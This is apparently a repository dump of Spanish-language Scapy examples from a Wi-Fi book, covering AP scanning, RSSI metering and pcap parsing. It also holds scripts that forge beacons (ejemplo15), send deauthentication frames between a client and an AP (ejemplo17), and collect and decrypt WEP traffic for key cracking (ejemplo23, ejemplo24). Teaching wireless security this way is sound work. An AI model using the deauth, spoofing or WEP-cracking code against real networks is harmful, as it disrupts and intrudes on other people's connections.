isinstance(elt, Dot11Elt): 38 | if elt.ID == 0: 39 | essid = elt.info 40 | elif elt.ID == 3: 41 | channel = ord(elt.info) 42 | elif elt.ID == 48: 43 | crypto.add("WPA2") 44 | elif elt.ID == 221 and elt.info.startswith('\x00P\xf2\x01\x01\x00'): 45 | crypto.add("WPA") 46 | elt = elt.payload 47 | if not crypto: 48 | if 'privacy' in cap: 49 | crypto.add("WEP") 50 | else: 51 | crypto.add("OPN") 52 | print "%d. AP: %r [%s], channel %d, %s" % (i,essid, bssid, channel, ' / '.join(crypto)) 53 | i+=1 54 | aps.append([bssid, essid, channel, '/'.join(crypto)]) 55 | 56 | 57 | def PacketHandler(pkt): 58 | # global radiotap_formats,essid, channel 59 | if pkt[Dot11].addr3 and (Dot11Beacon in pkt or Dot11ProbeResp in pkt): 60 | bssid = pkt[Dot11].addr3.upper() 61 | if bssid == mac2search.upper() and not bssid == 'ff:ff:ff:ff:ff:ff': 62 | if pkt.type == 0: 63 | if not atheros: ## parsing with scapy_ex 64 | essid = pkt[Dot11].essid() 65 | if not essid: essid = 'Hidden' 66 | channel = pkt[Dot11].channel() or pkt[RadioTap].Channel 67 | rates = pkt[Dot11].rates() 68 | rates.extend(pkt[Dot11].extended_rates()) 69 | crypto=[] 70 | if pkt.hasflag('cap', 'privacy'): 71 | elt_rsn = pkt[Dot11].rsn() 72 | if elt_rsn: 73 | enc = elt_rsn.enc 74 | cipher = elt_rsn.cipher 75 | auth = elt_rsn.auth 76 | else: 77 | enc = 'WEP' 78 | cipher = 'WEP' 79 | auth = '' 80 | else: 81 | enc = 'OPN' 82 | cipher = '' 83 | auth = '' 84 | crypto=[enc,cipher,auth] 85 | preffix=' ESSID: ' + essid + ' (' + enc + '/' + cipher + '/' + auth + ')' + ' in channel: ' + str(channel) 86 | 87 | else: ## Atheros parsing without scapy_ex 88 | if not pkt.haslayer(Dot11Elt): return 89 | rates = [] 90 | p = pkt[Dot11Elt] 91 | essid, channel = '', '' 92 | crypto = set() 93 | ("{Dot11ProbeResp:%Dot11ProbeResp.cap%}").split('+') 94 | cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}") 95 | while isinstance(p, Dot11Elt): 96 | if p.ID == 0: 97 | essid = p.info 98 | elif p.ID == 1: 99 | rates = str(p.info) 100 | elif p.ID == 50: 101 | exrates = p.info 102 | rates = rates + exrates 103 | elif p.ID == 3: 104 | if len(p.info) == 1: channel = ord(p.info) 105 | elif p.ID == 48: 106 | crypto.add("WPA2") 107 | elif p.ID == 221 and p.info.startswith('\x00P\xf2\x01\x01\x00'): 108 | crypto.add("WPA") 109 | p = p.payload 110 | if not crypto: 111 | if 'privacy' in cap: 112 | crypto.add("WEP") 113 | else: 114 | crypto.add("OPN") 115 | if not essid: essid = 'Hidden' 116 | if rates: 117 | max_rate = max(rates) 118 | preffix=' ESSID: ' + essid + ' (' + '/'.join(crypto) + ')' + ' in channel: ' + str(channel) # + ' RATES: ' + str(rates) 119 | 120 | powervalues=[0,0,0] 121 | 122 | if atheros: 123 | # pkt[RadioTap].show() 124 | # power = -(256 - ord(pkt.notdecoded[-4:-3])) # Some radiotap headers 125 | power = (256 - ord(pkt.notdecoded[-2:-1])) # other radiotap headers like Atheros 126 | if power > 0 <= 99: 127 | power = 100 - power 128 | powervalues=calcavg(power) 129 | elif power == 256: 130 | power = 0 131 | else: 132 | if pkt[RadioTap].dBm_AntSignal: 133 | power = 100 - abs(int(pkt[RadioTap].dBm_AntSignal)) 134 | powervalues=calcavg(power) 135 | else: 136 | power = 0 137 | 138 | if verbose: print "Packet: %s BSSID: %s SIGNAL: %s(%s<%s>%s)" %(preffix,bssid,power,powervalues[0],powervalues[1],powervalues[2]) 139 | 140 | ofile = open(pfile, "w") 141 | ofile.write('%03d\n' % powervalues[1]) 142 | ofile.close() 143 | 144 | def calcavg(power): 145 | # avg function 146 | global maxpower, minpower, avgpower, avglist 147 | if len(avglist) >= avgcache: avglist.pop(0) 148 | avglist.append(power) 149 | avgpower = sum(avglist) / len(avglist) 150 | if power > maxpower: maxpower = power 151 | if power < minpower: minpower = power 152 | return [ minpower, avgpower, maxpower ] 153 | 154 | def channel_hop(channel=None): 155 | global intfmon, first_pass 156 | channelNum=0 157 | err = None 158 | while 1: 159 | if channel: 160 | with lock: monchannel = channel 161 | else: 162 | channelNum +=1 163 | if channelNum > 14: channelNum = 1 164 | with lock: first_pass = 0 165 | with lock: monchannel = str(channelNum) 166 | try: 167 | proc = Popen(['iw', 'dev', intfmon, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE) 168 | except OSError: 169 | print 'Could not execute iw!' 170 | os.kill(os.getpid(),SIGINT) 171 | sys.exit(1) 172 | for line in proc.communicate()[1].split('\n'): 173 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 174 | err = 'Channel hopping failed: '+ line 175 | if channel: 176 | time.sleep(.05) 177 | else: 178 | if first_pass == 1: 179 | time.sleep(1) 180 | continue 181 | 182 | def SetChannel(channel): 183 | cmd = 'iw dev %s set channel %s >/dev/null 2>&1' % (intfmon, channel) 184 | try: 185 | os.system(cmd) 186 | print "Setting %s to channel: %s (%s)" %(intfmon,channel,remote) 187 | except: 188 | print "Error setting channel for %s" %intfmon 189 | 190 | 191 | #### Main 192 | ## Start SimpleHTTP server in a thread 193 | HandlerClass = SimpleHTTPRequestHandler 194 | ServerClass = BaseHTTPServer.HTTPServer 195 | Protocol = "HTTP/1.0" 196 | server_address = ('127.0.0.1', httpport) 197 | 198 | HandlerClass.protocol_version = Protocol 199 | httpd = ServerClass(server_address, HandlerClass) 200 | sa = httpd.socket.getsockname() 201 | thread = threading.Thread(target = httpd.serve_forever) 202 | thread.daemon = True 203 | 204 | try: 205 | # Start channel hopping 206 | channelseq='' 207 | hop = Thread(target=channel_hop, args=channelseq) 208 | hop.daemon = True 209 | hop.start() 210 | 211 | # Start sniffing for first pass 212 | print "Scanning for Wi-Fi APs... Press CTRL+C to stop..." 213 | sniff(iface=intfmon, prn=insert_ap, store=False,timeout=10000,lfilter=lambda pkt: (Dot11Beacon in pkt or Dot11ProbeResp in pkt)) 214 | 215 | except KeyboardInterrupt: 216 | raise 217 | 218 | try: 219 | hop = None 220 | selected = input("\nSelect AP number to use: ") 221 | mac2search = aps[selected][0] 222 | essid = aps[selected][1] 223 | channel = aps[selected][2] 224 | crypto = aps[selected][3] 225 | 226 | # Start HTTP server 227 | print "Serving HTTP on", sa[0], "port", sa[1], "..." 228 | thread.start() 229 | 230 | # Start final sniffing 231 | SetChannel(channel) 232 | sniff(iface=intfmon, prn=PacketHandler, store=False,lfilter=lambda pkt:(Dot11 in pkt)) 233 | 234 | except KeyboardInterrupt: 235 | server.shutdown() 236 | sys.exit(0) 237 | 238 | 239 | -------------------------------------------------------------------------------- /ejemplo12/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | RSSI Meter 4 | 5 | 6 | 38 | 39 | 40 |

RSSI Value

41 |
42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /ejemplo12/my.json: -------------------------------------------------------------------------------- 1 | 024 2 | -------------------------------------------------------------------------------- /ejemplo12/printer.py: -------------------------------------------------------------------------------- 1 | """ 2 | Define a singleton that handles basic output 3 | """ 4 | import sys 5 | import traceback 6 | 7 | class Printer: 8 | """A class for printing messages that respects verbosity levels""" 9 | verbose_level = 0 10 | 11 | @staticmethod 12 | def verbose(message, verbose_level=1): 13 | """Print a message only if it is within an acceptabe verbosity level""" 14 | if Printer.verbose_level >= verbose_level: 15 | sys.stdout.write(message) 16 | sys.stdout.write('\n') 17 | 18 | @staticmethod 19 | def write(message): 20 | """Write a message to stdout""" 21 | sys.stdout.write(message) 22 | sys.stdout.write('\n') 23 | 24 | @staticmethod 25 | def error(message): 26 | """Write a message to stderr""" 27 | sys.stderr.write(message) 28 | sys.stderr.write('\n') 29 | 30 | @staticmethod 31 | def exception(e): 32 | """Write a summary of an exception with a stack trace""" 33 | Printer.error(repr(e)) 34 | traceback.print_exc(file=sys.stderr) 35 | 36 | 37 | -------------------------------------------------------------------------------- /ejemplo12/printer.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/ejemplo12/printer.pyc -------------------------------------------------------------------------------- /ejemplo12/scapy_ex.py: -------------------------------------------------------------------------------- 1 | """ 2 | A set of additions and modifications to scapy to assist in parsing dot11 3 | """ 4 | import scapy 5 | 6 | from scapy.fields import BitField 7 | from scapy.fields import ByteField 8 | from scapy.fields import ConditionalField 9 | from scapy.fields import EnumField 10 | from scapy.fields import Field 11 | from scapy.fields import FieldLenField 12 | from scapy.fields import FieldListField 13 | from scapy.fields import FlagsField 14 | from scapy.fields import LEFieldLenField 15 | from scapy.fields import LELongField 16 | from scapy.fields import LEShortField 17 | from scapy.fields import StrFixedLenField 18 | from scapy.layers.dot11 import Dot11Elt 19 | from scapy.layers.dot11 import Dot11ProbeReq 20 | from scapy.packet import Packet 21 | 22 | from printer import Printer 23 | 24 | 25 | class SignedByteField(Field): 26 | """Fields for a signed byte""" 27 | def __init__(self, name, default): 28 | Field.__init__(self, name, default, ' 1: pkt.show() 18 | 19 | sniff(iface=intfmon, prn=PacketHandler, lfilter=lambda p:(Dot11 in p)) 20 | -------------------------------------------------------------------------------- /ejemplo13.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon = 'mon0' ### Just monitor VAP interface (mon0) 8 | 9 | def PacketHandler(pkt): 10 | if pkt.type == 0: ## Management frame 11 | destination = '01(MGT)-sub:' + str(pkt.subtype) 12 | return 13 | elif pkt.type == 1: ## Control frames 14 | destination = '01(CTRL)-sub:' + str(pkt.subtype) 15 | return 16 | elif pkt.type == 2: ## Data frames 17 | DS = pkt.FCfield & 0x3 18 | toDS = int(DS & 0x1 != 0) 19 | fromDS = int(DS & 0x2 != 0) 20 | destination = '02(DATA)-sub:' + str(pkt.subtype) + ' - DS:' + str(DS) + '-FromDS:' + str(fromDS) + '-ToDS:' + str(toDS) 21 | if pkt.FCfield & 3 == 0: ## direct 22 | ## fromDS=0, toDS=0 is a pkt from STA to STA 23 | # smac,dmac = pkt.addr2 , pkt.addr1 24 | destination=destination + ' STA-STA' 25 | STA = pkt.addr2 26 | elif pkt.FCfield & 3 == 1: ## to DS 27 | ## fromDS=1, toDS=0 is a pkt sent by a station for an AP (destined to the DS) 28 | # smac,dmac = pkt.addr3 , pkt.addr1 29 | destination=destination + ' STA-DS' 30 | STA = pkt.addr2 31 | elif pkt.FCfield & 3 == 2: ## from DS 32 | ## fromDS=0, toDS=1 is a pkt exiting the DS for a station 33 | # smac,dmac = pkt.addr2 , pkt.addr3 34 | destination=destination + ' DS-STA' 35 | STA = pkt.addr1 36 | elif pkt.FCfield & 3 == 3: ## WDS 37 | ## fromDS=1, toDS=1 is a pkt from AP to AP (WDS) 38 | # smac,dmac = pkt.addr4 , pkt.addr3 39 | destination=destination + ' DS-DS' 40 | STA = pkt.addr1 41 | else: 42 | destination=pkt.type 43 | print pkt.command() 44 | print "Packet destination: %s" %(destination) 45 | 46 | # We begin to sniff and capture 47 | sniff(iface=intfmon, prn=PacketHandler, store=False, lfilter=lambda pkt: (Dot11 in pkt)) 48 | 49 | -------------------------------------------------------------------------------- /ejemplo14.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | # /overlay/upper/usr/lib/python2.7/site-packages/netaddr/eui/ieee.py to update 4 | # /overlay/upper/usr/lib/python2.7/site-packages/netaddr/eui/oui.txt 5 | from netaddr import * 6 | from netaddr.core import NotRegisteredError 7 | 8 | def get_oui(mac): 9 | maco = EUI(mac) 10 | try: 11 | manuf = maco.oui.registration().org 12 | except NotRegisteredError: 13 | manuf = "Not available" 14 | return manuf 15 | 16 | mac = 'bc:ae:c5:3b:fc:5e' 17 | print get_oui(mac) 18 | 19 | -------------------------------------------------------------------------------- /ejemplo15.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon='mon0' 8 | verbose=1 9 | count=30 10 | 11 | dst = 'ff:ff:ff:ff:ff:ff' 12 | apssid='testAP' 13 | bssid = src = '00:01:02:03:04:05' 14 | apsecurity='wpa2' 15 | 16 | 17 | if apsecurity == 'wep': 18 | beacon = Dot11Beacon(cap='ESS+privacy') 19 | rsn='' 20 | elif apsecurity == 'wpa': 21 | beacon = Dot11Beacon(cap='ESS+privacy') 22 | rsn = Dot11Elt(ID='RSNinfo', info=( 23 | '\x01\x00' # RSN Version 1 24 | '\x00\x0f\xac\x02' # Group Cipher Suite : 00-0f-ac TKIP 25 | '\x02\x00' # 2 Pairwise Cipher Suites (next two lines) 26 | '\x00\x0f\xac\x04' # AES Cipher 27 | '\x00\x0f\xac\x02' # TKIP Cipher 28 | '\x01\x00' # 1 Authentication Key Managment Suite (line below) 29 | '\x00\x0f\xac\x02' # Pre-Shared Key 30 | '\x00\x00')) # RSN Capabilities (no extra capabilities) 31 | elif apsecurity == 'wpa2': 32 | beacon = Dot11Beacon(cap='ESS+privacy') 33 | rsn = Dot11Elt(ID='RSNinfo', info=( 34 | '\x01\x00' # RSN Version 1 35 | '\x00\x0f\xac\x02' # Group Cipher Suite : 00-0f-ac TKIP 36 | '\x02\x00' # 2 Pairwise Cipher Suites (next two lines) 37 | '\x00\x0f\xac\x04' # AES Cipher 38 | '\x00\x0f\xac\x02' # TKIP Cipher 39 | '\x01\x00' # 1 Authentication Key Managment Suite (line below) 40 | '\x00\x0f\xac\x02' # Pre-Shared Key 41 | '\x00\x00')) # RSN Capabilities (no extra capabilities) 42 | else: 43 | rsn='' 44 | beacon=Dot11Beacon(cap='ESS') 45 | 46 | 47 | essid = Dot11Elt(ID='SSID',info=apssid, len=len(apssid)) 48 | dsset = Dot11Elt(ID='DSset',info='\x01') 49 | tim = Dot11Elt(ID='TIM',info='\x00\x01\x00\x00') 50 | rates = Dot11Elt(ID='Rates',info="\x03\x12\x96\x18\x24\x30\x48\x60") 51 | 52 | pkt = RadioTap()/Dot11(proto=0,type=0,subtype=8,addr1=dst,addr2=src,addr3=bssid)/beacon/essid/rsn/rates/dsset/tim 53 | 54 | if verbose: print 'Sending %d frames (802.11 Beacon) with SSID=[%s], BSSID=%s, SEC=%s' % (count,apssid,bssid,apsecurity) 55 | if verbose: print pkt.command() 56 | 57 | try: 58 | sendp(pkt,iface=intfmon,count=count,inter=0.100,verbose=1) 59 | except: 60 | raise 61 | 62 | -------------------------------------------------------------------------------- /ejemplo16.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | from datetime import datetime 4 | import logging 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 6 | from scapy.all import * 7 | 8 | intfmon='mon0' 9 | verbose=0 10 | count=30 11 | 12 | dst = bssid = 'ff:ff:ff:ff:ff:ff' 13 | apssid='testAP' 14 | src='00:01:02:03:04:05' 15 | sc=-1 16 | bootime=time.time() 17 | 18 | class Dot11EltRates(Packet): 19 | name = "802.11 Rates Information Element" 20 | # Our Test STA supports the rates 6, 9, 12, 18, 24, 36, 48 and 54 Mbps 21 | supported_rates = [0x0c, 0x12, 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c] 22 | fields_desc = [ByteField("ID", 1), ByteField("len", len(supported_rates))] 23 | for index, rate in enumerate(supported_rates): 24 | fields_desc.append(ByteField("supported_rate{0}".format(index + 1),rate)) 25 | 26 | def ProbeReq(src,count,apssid,dst,bssid): 27 | essid = Dot11Elt(ID='SSID',info=apssid, len=len(apssid)) 28 | WPS_ID = "\x00\x50\xF2\x04" 29 | WPS_Elt = Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % WPS_ID) 30 | dsset = Dot11Elt(ID='DSset',info='\x01') 31 | pkt = RadioTap()/Dot11(type=0,subtype=4,addr1=dst,addr2=src,addr3=bssid)\ 32 | /Dot11ProbeReq()/essid/WPS_Elt/Dot11EltRates()/dsset 33 | i=0 34 | while i < count: 35 | # Update timestamp 36 | pkt.timestamp = current_timestamp() 37 | pkt.SC = next_sc() ## Update sequence number 38 | if verbose: pkt.show() 39 | try: 40 | sendp(pkt,iface=intfmon,count=1,inter=0.1,verbose=verbose) 41 | i += 1 42 | except: 43 | raise 44 | 45 | 46 | def current_timestamp(): 47 | global bootime 48 | return (time.time() - bootime) * 1000000 49 | 50 | def next_sc(): 51 | global sc 52 | sc = (sc + 1) % 4096 53 | return sc * 16 # Fragment number -> right 4 bits 54 | 55 | 56 | print 'Sending %d 802.11 Probe Request: ESSID=[%s], BSSID=%s' % (count,apssid,bssid) 57 | ProbeReq(src,count,apssid,dst,bssid) 58 | -------------------------------------------------------------------------------- /ejemplo17.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon='mon0' 8 | station= client='00:01:00:01:00:01' 9 | bssid='F8:63:94:9A:03:13' 10 | apssid='ONO_E1F1' 11 | broadcast='ff:ff:ff:ff:ff:ff' 12 | client='00:01:00:01:00:01' 13 | 14 | # probe request 15 | pkt = RadioTap() /Dot11(addr1=broadcast,addr2=station, addr3=station)/Dot11ProbeReq()/Dot11Elt(ID='SSID', info=apssid, len=len(apssid)) 16 | print "\nSending Probe request to AP with name: " + apssid 17 | res = srp1(pkt, iface=intfmon, timeout=2) 18 | if res: 19 | res.summary() 20 | print "Got answer from " + res.addr2 21 | else: 22 | print "Got no answer from " + apssid 23 | 24 | 25 | # authentication with open system 26 | pkt = RadioTap() /Dot11(subtype=0xb,addr1=bssid, addr2=station, addr3=bssid)/Dot11Auth(algo=0, seqnum=1, status=0) 27 | print "\nSending authentication request to AP wiht BSSID: " + bssid 28 | res = srp1(pkt, iface=intfmon, timeout=2) 29 | if res: 30 | res.summary() 31 | print "Got answer from " + res.addr2 32 | else: 33 | print "Got no answer from " + bssid 34 | 35 | 36 | # association request 37 | pkt = RadioTap() /Dot11(type=0, subtype=0 , addr1=bssid, addr2=station, addr3=bssid) 38 | pkt /= Dot11AssoReq()/Dot11Elt(ID='SSID', info=apssid)/Dot11Elt(ID="Rates", info="x82x84x0bx16") 39 | print "\nSending Association request to AP with SSID: " + apssid 40 | res = srp1(pkt, iface=intfmon, timeout=2) 41 | if res: 42 | res.summary() 43 | print "Got answer from " + res.addr2 44 | else: 45 | print "Got no answer from " + apssid 46 | 47 | 48 | # Deauthentication request 49 | pkt = Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth() ## AP to STA deauth 50 | pkt2 = Dot11(addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth() ## STA to AP deauth 51 | print "\nSending both Deauth requests to AP and STA" 52 | res = srp1(pkt, retry=5, iface=intfmon, timeout=2) 53 | if res: 54 | res.summary() 55 | else: 56 | print "Got no answer from Station: " + str(station) 57 | 58 | res = srp1(pkt2, iface=intfmon, timeout=2) 59 | if res: 60 | res.summary() 61 | else: 62 | print "Got no answer from AP: " + apssid 63 | -------------------------------------------------------------------------------- /ejemplo18.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | import scapy_ex 7 | 8 | intfmon='mon0' 9 | workdir='/tmp' 10 | filename=workdir + '/' + 'ejemplo12.cap' 11 | 12 | # Scapy packet handler function 13 | def PacketHandler(pkt): 14 | global ap_list 15 | bssid = pkt.addr3 16 | essid = pkt.info 17 | print "Saving Probe Response of %s (%s) to file: %s" %(essid,bssid,filename) 18 | writer = PcapWriter(filename, append=True) 19 | writer.write(pkt) 20 | writer.close() 21 | 22 | # We begin to sniff and capture 23 | sniff(iface=intfmon, prn=PacketHandler, count=1, lfilter=lambda pkt:(Dot11ProbeResp in pkt)) 24 | 25 | -------------------------------------------------------------------------------- /ejemplo19.py: -------------------------------------------------------------------------------- 1 | # Ejemplo en consola: 2 | 3 | # >>> captura=sniff(iface='mon0',count=3, lfilter=lambda pkt:(Dot11ProbeReq in pkt)) 4 | # >>> captura.summary() 5 | # >>> wrpcap('./proberequest.cap',captura) 6 | # >>> quit() 7 | # tcpdump -r proberequest.cap 8 | 9 | print "Lea el fichero ejemplo19.py para ver su contenido" 10 | 11 | -------------------------------------------------------------------------------- /ejemplo2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import threading, os, time 4 | from threading import Thread, Lock 5 | from subprocess import Popen, PIPE 6 | from signal import SIGINT, signal 7 | 8 | intfmon='mon0' 9 | channel='' ### Define channel if not want to hop, and will stay in one channel 10 | first_pass=1 11 | lock = Lock() 12 | DN = open(os.devnull, 'w') 13 | verbose=1 14 | 15 | def calc_freq(channel): 16 | if channel == 14: 17 | freq = 2484 18 | else: 19 | freq = 2407 + (channel * 5) 20 | return str(freq) 21 | 22 | def channel_hop(channel=None): 23 | global intfmon, first_pass 24 | channelNum=0 25 | err = None 26 | 27 | while 1: 28 | if channel: 29 | with lock: monchannel = channel 30 | else: 31 | channelNum +=1 32 | if channelNum > 14: channelNum = 1 33 | with lock: first_pass = 0 34 | with lock: monchannel = str(channelNum) 35 | try: 36 | proc = Popen(['iw', 'dev', intfmon, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE) 37 | if verbose: print "Setting %s interface to channel: %s (%s MHz)" %(intfmon, monchannel, calc_freq(int(monchannel))) 38 | except OSError as e: 39 | print 'Could not execute iw!' 40 | os.kill(os.getpid(),SIGINT) 41 | sys.exit(1) 42 | for line in proc.communicate()[1].split('\n'): 43 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 44 | err = 'Channel hopping failed: '+ line 45 | if channel: 46 | time.sleep(.05) 47 | else: 48 | if first_pass == 1: 49 | time.sleep(1) 50 | continue 51 | 52 | 53 | # Start channel hopping 54 | hop = Thread(target=channel_hop, args=channel) 55 | hop.daemon = True 56 | hop.start() 57 | 58 | while 1: 59 | time.sleep(1) 60 | 61 | -------------------------------------------------------------------------------- /ejemplo20.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import os,time, datetime 4 | from datetime import timedelta 5 | import logging 6 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 7 | from scapy.all import * 8 | import scapy_ex 9 | from netaddr import * 10 | from netaddr.core import NotRegisteredError 11 | 12 | intfmon='mon0' 13 | workdir='/root' ## directory where the captures pcap are stored 14 | verbose=1 15 | pcounter=0 16 | 17 | # Parse information inside beacon frame 18 | def ParsePacket(pkt): 19 | capability = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") 20 | elt = pkt[Dot11Elt] 21 | crypto = set() 22 | channel=uptime=interval=timestamp='' 23 | 24 | if pkt.haslayer(Dot11Beacon): 25 | type='Beacon' 26 | interval = float(pkt.beacon_interval) / 1000 ## Get beacon interval value 27 | uptime=str(timedelta(microseconds=pkt.timestamp)) ## AP uptime 28 | elif pkt.haslayer(Dot11ProbeReq): 29 | type='Probe Request' 30 | 31 | # Get date of captured beacon frame 32 | capturetime=datetime.datetime.fromtimestamp(float(pkt.time)).strftime('%d-%m-%Y %H:%M:%S') 33 | while isinstance(elt, Dot11Elt): 34 | if elt.ID == 0: 35 | essid = elt.info 36 | elif elt.ID == 3: 37 | channel = int(ord(elt.info)) 38 | elif elt.ID == 48: 39 | crypto.add("WPA2") 40 | elif elt.ID == 221 and elt.info.startswith('\x00P\xf2\x01\x01\x00'): 41 | crypto.add("WPA") 42 | elt = elt.payload 43 | 44 | if not channel: channel=pkt[RadioTap].Channel 45 | 46 | if not crypto: 47 | if 'privacy' in capability: 48 | crypto.add("WEP") 49 | else: 50 | crypto.add("OPN") 51 | 52 | # Get packet BSSID and calculate manufacturer 53 | bssid = pkt.addr2 54 | mac = EUI(bssid) 55 | 56 | try: 57 | manuf = mac.oui.registration().org 58 | except NotRegisteredError: 59 | manuf = "Not available" 60 | 61 | print "\n%s: BSSID: %s(%s) SSID:%s ENC:%s in Channel:%s captured:[%s] uptime:[%s] Intval: %s" \ 62 | %(type, bssid, manuf, essid, ' / '.join(crypto), channel,capturetime,uptime,interval) 63 | 64 | 65 | # Select AP to use 66 | caplist=[] ; i=0 67 | for file in os.listdir(workdir): 68 | if file.endswith(".cap"): 69 | caplist.append(file) 70 | print "%s. %s" %(i,file) 71 | i+=1 72 | 73 | selected = input("\nSelect file number to use: ") 74 | if not selected in range(0,i): 75 | print "Sorry wrong index number..." 76 | exit() 77 | 78 | pcapfile = workdir + '/' + caplist[selected] 79 | pktreader = PcapReader(pcapfile) 80 | print pcapfile 81 | 82 | # Walk through the PCAP file packets 83 | for pkt in pktreader: 84 | if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeReq): 85 | ParsePacket(pkt) 86 | if verbose >=1: print "Packet structuret:\n" + pkt.command() 87 | pcounter +=1 88 | 89 | print "\nTotal packets in PCAP file: %d\n" % pcounter 90 | -------------------------------------------------------------------------------- /ejemplo21.py: -------------------------------------------------------------------------------- 1 | Ejemplo en consola: 2 | 3 | >>> captura=rdpcap('proberequest.cap') 4 | >>> captura.summary() 5 | >>> wireshark(captura) 6 | >>> captura=rdpcap('/tmp/proberequest.cap').filter(lambda p:(Dot11ProbeResp in p)) 7 | >>> len(cap) 8 | 9 | -------------------------------------------------------------------------------- /ejemplo22.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import logging, re 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | import scapy_ex 7 | 8 | droppedCount=0 9 | 10 | def sn(p): 11 | if p.haslayer(Dot11ProbeReq): 12 | if p.Flags is not None: 13 | if p.Flags & 64 != 0: 14 | droppedCount += 1 15 | fcs = 0 16 | elif p.Flags & 64 == 0: 17 | fcs = 1 18 | 19 | if fcs == 1 and p[Dot11Elt].info != '': 20 | ssid = p[Dot11Elt].info.decode('utf-8') 21 | ssid = re.sub("\n", "", ssid) 22 | print "Probe Request: %s with fcs: %d" %(ssid, fcs) 23 | 24 | cap=sniff(prn=sn,offline='proberequest.cap') 25 | 26 | -------------------------------------------------------------------------------- /ejemplo23.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | import os.path 7 | 8 | # wepkey must be 5 chars or 13 chars long! 9 | # wepkey can be introduced in ASCII (12345) 10 | # wepkey can be introduced in HEX ("\x31\x32\x33\x34\x35") 11 | wepkey='12345' 12 | wepfile="wepcap-01.cap" 13 | savecap=1 14 | 15 | if wepkey: 16 | print "Setting WEP key to: %s" %(wepkey) 17 | conf.wepkey=wepkey 18 | else: 19 | print "Please supply WEP key!" 20 | 21 | if os.path.isfile(wepfile): 22 | encryptedpkts=rdpcap(wepfile) 23 | decryptedpkts=Dot11PacketList(encryptedpkts).toEthernet() 24 | print "Decrypted %d packets of %d..." %(len(decryptedpkts),len(encryptedpkts)) 25 | if savecap: 26 | try: 27 | wrpcap(wepfile+'.dec.cap',decryptedpkts) 28 | print "Decryted packets saved to: %s" %wepfile+'.dec.cap' 29 | except: 30 | print "Could not save pcap file!" 31 | else: 32 | print "Please supply a valid WEP pcap file!" 33 | -------------------------------------------------------------------------------- /ejemplo24.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys,logging 3 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 4 | from scapy.all import * 5 | 6 | intfmon = "mon0" 7 | verbose=1 8 | workdir="./capture" 9 | filename=workdir+"/"+"wepcap.cap" 10 | max_pkts = 50000 11 | pkts = [] 12 | 13 | # This function will be called for every sniffed packet 14 | def PacketHandler(pkt): 15 | if pkt.haslayer(Dot11WEP): ## Got WEP packet? 16 | pkts.append(pkt) 17 | if verbose: 18 | print "Pkt-%d: %s IV:%s Keyid:%s ICV:%s" %(len(pkts),pkt[Dot11].addr2,str(pkt.iv),str(pkt.keyid),str(pkt.icv)) 19 | if len(pkts) == max_pkts: ## Got enough packets to crack WEP key? Save to pcap, and exit 20 | print "Got %d packets, saving to PCAP file:%s and exiting!" %(max_pkts,filename) 21 | wrpcap(filename, pkts) 22 | sys.exit(0) 23 | 24 | # Scapy sniffer function 25 | print "Starting sniff on interface %s" %intfmon 26 | sniff(iface=intfmon, prn=PacketHandler) 27 | 28 | -------------------------------------------------------------------------------- /ejemplo25.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*-​ 2 | #!/usr/bin/env python 3 | from sys import argv, stderr, exit 4 | from getopt import GetoptError, getopt as GetOpt 5 | try: 6 | from scapy.all import * 7 | except Exception, e: 8 | print 'Failed to import scapy:',e 9 | exit(1) 10 | 11 | 12 | class WPSQuery(object): 13 | bssid = None 14 | essid = None 15 | pfile = None 16 | rprobe = False 17 | verbose = False 18 | probedNets = {} 19 | WPS_ID = "\x00\x50\xF2\x04" 20 | wps_attributes = { 21 | 0x104A : {'name' : 'Version ', 'type' : 'hex'}, 22 | 0x1044 : {'name' : 'WPS 